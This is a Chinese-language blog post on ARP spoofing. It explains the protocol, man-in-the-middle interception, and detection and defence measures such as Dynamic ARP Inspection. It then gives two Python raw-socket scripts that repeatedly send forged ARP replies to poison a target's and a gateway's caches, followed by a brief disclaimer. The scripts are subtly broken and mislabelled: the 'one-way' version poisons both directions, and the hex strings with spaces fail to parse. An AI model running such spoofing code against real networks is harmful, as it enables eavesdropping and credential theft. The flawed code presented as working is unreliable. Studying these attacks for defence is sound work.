banner
andrewji8

Being towards death

Heed not to the tree-rustling and leaf-lashing rain, Why not stroll along, whistle and sing under its rein. Lighter and better suited than horses are straw sandals and a bamboo staff, Who's afraid? A palm-leaf plaited cape provides enough to misty weather in life sustain. A thorny spring breeze sobers up the spirit, I feel a slight chill, The setting sun over the mountain offers greetings still. Looking back over the bleak passage survived, The return in time Shall not be affected by windswept rain or shine.
telegram
twitter
github

揭秘網絡安全:如何用Python進行ARP欺騙攻擊

ARP 欺騙攻擊詳解#

什麼是 ARP?#

ARP(Address Resolution Protocol,地址解析協議)是用於將網絡層的 IP 地址解析為數據鏈路層的 MAC 地址的協議。它在局域網(LAN)中起着關鍵作用,因為以太網等數據鏈路層協議使用 MAC 地址進行通信,而 IP 協議使用的是 IP 地址。

工作原理:#

  1. 當一個設備需要與另一個設備通信時,它會檢查目標 IP 地址。
  2. 如果目標設備在同一局域網中,則發送方需要知道目標設備的 MAC 地址。
  3. 如果發送方不知道目標設備的 MAC 地址,它會廣播一個 ARP 請求("誰擁有這個 IP 地址?"),目標設備會回應其 MAC 地址。
  4. 發送方將收到的 IP-MAC 映射存儲在本地的 ARP 緩存表中,以便後續通信。

什麼是 ARP 欺騙攻擊?#

ARP 欺騙(ARP Spoofing)是一種針對局域網的攻擊技術,通過偽造 ARP 響應包來篡改目標設備的 ARP 緩存表,從而實現中間人攻擊(Man-in-the-Middle Attack)。這種攻擊的主要目的是攔截、篡改或竊聽局域網內的通信流量。

攻擊原理:#

攻擊者向目標設備發送偽造的 ARP 響應包,聲稱攻擊者的 MAC 地址對應於某個合法設備的 IP 地址。目標設備接收到偽造的 ARP 響應後,會更新其 ARP 緩存表,將合法設備的 IP 地址映射到攻擊者的 MAC 地址。結果是,原本應該發往合法設備的數據包被錯誤地轉發給了攻擊者。

攻擊結果:#

  • 中間人攻擊:攻擊者可以攔截並篡改目標設備與其他設備之間的通信內容。
  • 流量劫持:攻擊者可以竊取敏感信息,如用戶名、密碼、銀行賬戶信息等。
  • 拒絕服務:如果攻擊者持續發送偽造的 ARP 響應,可能導致目標設備無法正常通信。

ARP 欺騙攻擊的工作流程#

準備階段:#

  • 攻擊者首先確定目標設備和網關設備的 IP 地址和 MAC 地址。
  • 攻擊者需要能夠接入目標局域網,並且具有發送偽造 ARP 包的能力。

偽造 ARP 響應:#

攻擊者構造偽造的 ARP 響應包,聲稱自己的 MAC 地址對應於目標設備或網關設備的 IP 地址。
例如:

  • 攻擊者向目標設備發送偽造的 ARP 響應,聲稱攻擊者的 MAC 地址對應於網關的 IP 地址。
  • 攻擊者向網關設備發送偽造的 ARP 響應,聲稱攻擊者的 MAC 地址對應於目標設備的 IP 地址。

篡改 ARP 緩存表:#

目標設備接收到偽造的 ARP 響應後,更新其 ARP 緩存表,將網關的 IP 地址映射到攻擊者的 MAC 地址。
網關設備也更新其 ARP 緩存表,將目標設備的 IP 地址映射到攻擊者的 MAC 地址。

流量攔截:#

目標設備與網關設備之間的通信流量被重定向到攻擊者。攻擊者可以:

  • 被動監聽流量,竊取敏感信息。
  • 主動篡改流量內容,注入惡意代碼或篡改數據。
  • 阻斷通信,導致拒絕服務。

ARP 欺騙攻擊的類型#

單向 ARP 欺騙:#

攻擊者只向目標設備發送偽造的 ARP 響應,使得目標設備將網關的 IP 地址映射到攻擊者的 MAC 地址。
攻擊者可以攔截從目標設備發出的所有流量,但無法攔截發往目標設備的流量。

雙向 ARP 欺騙:#

攻擊者同時向目標設備和網關設備發送偽造的 ARP 響應。
目標設備和網關設備都更新其 ARP 緩存表,將對方的 IP 地址映射到攻擊者的 MAC 地址。
攻擊者可以完全控制目標設備與網關設備之間的雙向通信。

ARP 欺騙攻擊的危害#

  • 隱私洩露:攻擊者可以竊取目標設備的敏感信息,如登錄憑證、信用卡信息等。
  • 數據篡改:攻擊者可以修改傳輸中的數據包,注入惡意代碼或篡改內容。
  • 拒絕服務:攻擊者可以通過持續發送偽造的 ARP 響應,導致目標設備無法正常通信。
  • 網絡癱瘓:在大規模網絡中,ARP 欺騙攻擊可能導致整個局域網的通信中斷。

如何檢測 ARP 欺騙攻擊?#

手動檢查 ARP 緩存表:#

使用命令查看 ARP 緩存表(如 arp -aip neigh)。
檢查是否存在多個 IP 地址映射到同一 MAC 地址的情況。

網絡監控工具:#

使用專業的網絡監控工具(如 Wireshark)捕獲和分析網絡流量。
檢測異常的 ARP 響應包或重複的 MAC 地址。

入侵檢測系統(IDS):#

部署 IDS(如 Snort)來實時監測網絡中的異常行為。

如何防禦 ARP 欺騙攻擊?#

  • 靜態 ARP 表:手動配置固定的 IP-MAC 映射關係,防止 ARP 緩存表被篡改。
    缺點:維護成本高,不適合大型網絡。

  • 啟用 ARP 保護功能:許多交換機支持動態 ARP 保護功能(如 Cisco 的 DAI,Dynamic ARP Inspection)。
    這些功能可以驗證 ARP 包的合法性,並阻止偽造的 ARP 包。

  • 使用加密協議:使用 HTTPS、SSH 等加密協議,即使流量被攔截,也無法輕易解密。

  • 網絡分段:將網絡劃分為多個子網,限制攻擊者的活動範圍。

  • 部署防火牆:配置防火牆規則,限制不必要的流量進出。

  • 定期審計網絡:定期檢查網絡設備的 ARP 緩存表和日誌,發現異常行為。

總結#

ARP 欺騙攻擊利用了 ARP 協議的無狀態性和缺乏驗證機制的特點,能夠在局域網中輕鬆實施中間人攻擊。儘管 ARP 協議本身存在安全隱患,但通過合理的安全措施(如靜態 ARP 表、動態 ARP 保護、加密通信等),可以有效防禦此類攻擊。對於網絡安全管理人員來說,了解 ARP 欺騙攻擊的原理和防禦方法至關重要,以確保局域網的安全性。
備註:python 代碼(單向 ARP 欺騙)

import os
import sys
import struct
import socket
import binascii
import time  # 用於定時發送ARP包

# 定義目標設備的信息
target_ip = '192.168.1.47'  # 目標設備的IP地址
target_mac = '00:11:22:33:44:55'  # 目標設備的MAC地址

# 定義攻擊者的信息
attacker_ip = '192.168.1.35'  # 攻擊者的IP地址
attacker_mac = 'aa:bb:cc:dd:ee:ff'  # 攻擊者的MAC地址

# 定義網關設備的信息(如果是雙向ARP欺騙)
gateway_ip = '192.168.1.1'  # 網關設備的IP地址
gateway_mac = '11:22:33:44:55:66'  # 網關設備的MAC地址

# 構造ARP響應包函數
def create_arp_packet(src_mac, src_ip, dst_mac, dst_ip):
    """
    構造一個ARP響應包。
    :param src_mac: 發送者的MAC地址(攻擊者的MAC地址)
    :param src_ip: 發送者的IP地址(攻擊者的IP地址)
    :param dst_mac: 目標的MAC地址
    :param dst_ip: 目標的IP地址
    :return: 構造好的ARP響應包
    """
    return struct.pack(
        '!6s6s2s2s2s1s1s2s6s4s6s4s',  # 格式化字符串,定義了每個字段的字節順序和長度
        binascii.unhexlify('ff' * 6),  # 廣播MAC地址
        binascii.unhexlify(src_mac.replace(':', '')),  # 源MAC地址
        binascii.unhexlify('08 06'),  # EtherType,0x0806表示ARP協議
        binascii.unhexlify('00 01'),  # 硬件類型,0x0001表示以太網
        binascii.unhexlify('08 00'),  # 協議類型,0x0800表示IPv4
        binascii.unhexlify('06'),     # 硬件地址長度,6字節(MAC地址長度)
        binascii.unhexlify('04'),     # 協議地址長度,4字節(IPv4地址長度)
        binascii.unhexlify('00 02'),  # 操作碼,0x0002表示ARP響應
        binascii.unhexlify(src_mac.replace(':', '')),  # 發送者的MAC地址
        socket.inet_aton(src_ip),  # 發送者的IP地址
        binascii.unhexlify(dst_mac.replace(':', '')),  # 目標的MAC地址
        socket.inet_aton(dst_ip)  # 目標的IP地址
    )

# 創建原始套接字
def create_raw_socket(interface):
    """
    創建一個原始套接字並綁定到指定的網絡接口。
    :param interface: 網絡接口名稱(如 'eth0')
    :return: 原始套接字對象
    """
    sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.SOCK_RAW)
    sock.bind((interface, 0))  # 綁定到指定的網絡接口
    return sock

# 主函數:持續發送ARP包
def main():
    # 替換為實際的網絡接口名稱
    interface = 'eth0'

    # 創建原始套接字
    try:
        sock = create_raw_socket(interface)
        print(f"成功創建原始套接字並綁定到接口 {interface}")
    except Exception as e:
        print(f"創建原始套接字失敗:{e}")
        return

    # 構造兩個ARP響應包(雙向ARP欺騙)
    arp_to_target = create_arp_packet(attacker_mac, gateway_ip, target_mac, target_ip)
    arp_to_gateway = create_arp_packet(attacker_mac, target_ip, gateway_mac, gateway_ip)

    print("開始持續發送ARP包...按 Ctrl+C 停止")

    try:
        while True:
            # 向目標設備發送偽造的ARP響應包
            sock.send(arp_to_target)
            print(f"已發送ARP包到目標設備({target_ip} -> 攻擊者)")

            # 向網關設備發送偽造的ARP響應包
            sock.send(arp_to_gateway)
            print(f"已發送ARP包到網關設備({gateway_ip} -> 攻擊者)")

            # 等待一段時間再發送下一輪ARP包
            time.sleep(2)  # 每隔2秒發送一次ARP包
    except KeyboardInterrupt:
        print("\n檢測到用戶中斷,停止發送ARP包...")
    finally:
        sock.close()  # 關閉套接字
        print("套接字已關閉")

if __name__ == "__main__":
    main()

備註:python 代碼(雙向 ARP 欺騙核心思想是同時向目標設備和網關設備發送偽造的 ARP 響應包,使得雙方都將對方的 IP 地址映射到攻擊者的 MAC 地址。這樣,攻擊者可以完全控制目標設備與網關之間的雙向通信。)

import os
import sys
import struct
import socket
import binascii
import time  # 用於定時發送ARP包

# 定義目標設備的信息
target_ip = '192.168.1.47'  # 目標設備的IP地址
target_mac = '00:11:22:33:44:55'  # 目標設備的MAC地址

# 定義攻擊者的信息
attacker_ip = '192.168.1.35'  # 攻擊者的IP地址
attacker_mac = 'aa:bb:cc:dd:ee:ff'  # 攻擊者的MAC地址

# 定義網關設備的信息
gateway_ip = '192.168.1.1'  # 網關設備的IP地址
gateway_mac = '11:22:33:44:55:66'  # 網關設備的MAC地址

# 構造ARP響應包函數
def create_arp_packet(src_mac, src_ip, dst_mac, dst_ip):
    """
    構造一個ARP響應包。
    :param src_mac: 發送者的MAC地址(攻擊者的MAC地址)
    :param src_ip: 發送者的IP地址(攻擊者的IP地址)
    :param dst_mac: 目標的MAC地址
    :param dst_ip: 目標的IP地址
    :return: 構造好的ARP響應包
    """
    return struct.pack(
        '!6s6s2s2s2s1s1s2s6s4s6s4s',  # 格式化字符串,定義了每個字段的字節順序和長度
        binascii.unhexlify(dst_mac.replace(':', '')),  # 目標MAC地址(廣播或特定設備)
        binascii.unhexlify(src_mac.replace(':', '')),  # 源MAC地址
        binascii.unhexlify('08 06'),  # EtherType,0x0806表示ARP協議
        binascii.unhexlify('00 01'),  # 硬件類型,0x0001表示以太網
        binascii.unhexlify('08 00'),  # 協議類型,0x0800表示IPv4
        binascii.unhexlify('06'),     # 硬件地址長度,6字節(MAC地址長度)
        binascii.unhexlify('04'),     # 協議地址長度,4字節(IPv4地址長度)
        binascii.unhexlify('00 02'),  # 操作碼,0x0002表示ARP響應
        binascii.unhexlify(src_mac.replace(':', '')),  # 發送者的MAC地址
        socket.inet_aton(src_ip),  # 發送者的IP地址
        binascii.unhexlify(dst_mac.replace(':', '')),  # 目標的MAC地址
        socket.inet_aton(dst_ip)  # 目標的IP地址
    )

# 創建原始套接字
def create_raw_socket(interface):
    """
    創建一個原始套接字並綁定到指定的網絡接口。
    :param interface: 網絡接口名稱(如 'eth0')
    :return: 原始套接字對象
    """
    sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.SOCK_RAW)
    sock.bind((interface, 0))  # 綁定到指定的網絡接口
    return sock

# 主函數:持續發送ARP包
def main():
    # 替換為實際的網絡接口名稱
    interface = 'eth0'

    # 創建原始套接字
    try:
        sock = create_raw_socket(interface)
        print(f"成功創建原始套接字並綁定到接口 {interface}")
    except Exception as e:
        print(f"創建原始套接字失敗:{e}")
        return

    # 構造兩個ARP響應包(雙向ARP欺騙)
    arp_to_target = create_arp_packet(attacker_mac, gateway_ip, target_mac, target_ip)
    arp_to_gateway = create_arp_packet(attacker_mac, target_ip, gateway_mac, gateway_ip)

    print("開始持續發送雙向ARP包...按 Ctrl+C 停止")

    try:
        while True:
            # 向目標設備發送偽造的ARP響應包(欺騙目標設備)
            sock.send(arp_to_target)
            print(f"已發送ARP包到目標設備({target_ip} -> 攻擊者)")

            # 向網關設備發送偽造的ARP響應包(欺騙網關設備)
            sock.send(arp_to_gateway)
            print(f"已發送ARP包到網關設備({gateway_ip} -> 攻擊者)")

            # 等待一段時間再發送下一輪ARP包
            time.sleep(2)  # 每隔2秒發送一次ARP包
    except KeyboardInterrupt:
        print("\n檢測到用戶中斷,停止發送ARP包...")
    finally:
        sock.close()  # 關閉套接字
        print("套接字已關閉")

if __name__ == "__main__":
    main()
特徵單向 ARP 欺騙雙向 ARP 欺騙
攻擊範圍只能攔截從目標設備發出的流量可以攔截目標設備與網關之間的雙向流量
攻擊目標目標設備目標設備和網關設備
複雜度較低較高(需要同時偽造兩個方向的 ARP 響應)
防禦難度較容易檢測和防禦更難檢測和防禦

注意事項

合法性 :
此代碼僅用於學習和研究目的,請勿用於非法用途。
在未經授權的情況下對他人網絡進行 ARP 欺騙攻擊可能違反法律。

測試環境 :
建議在受控的實驗環境中測試,例如虛擬機或專用的實驗室網絡。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。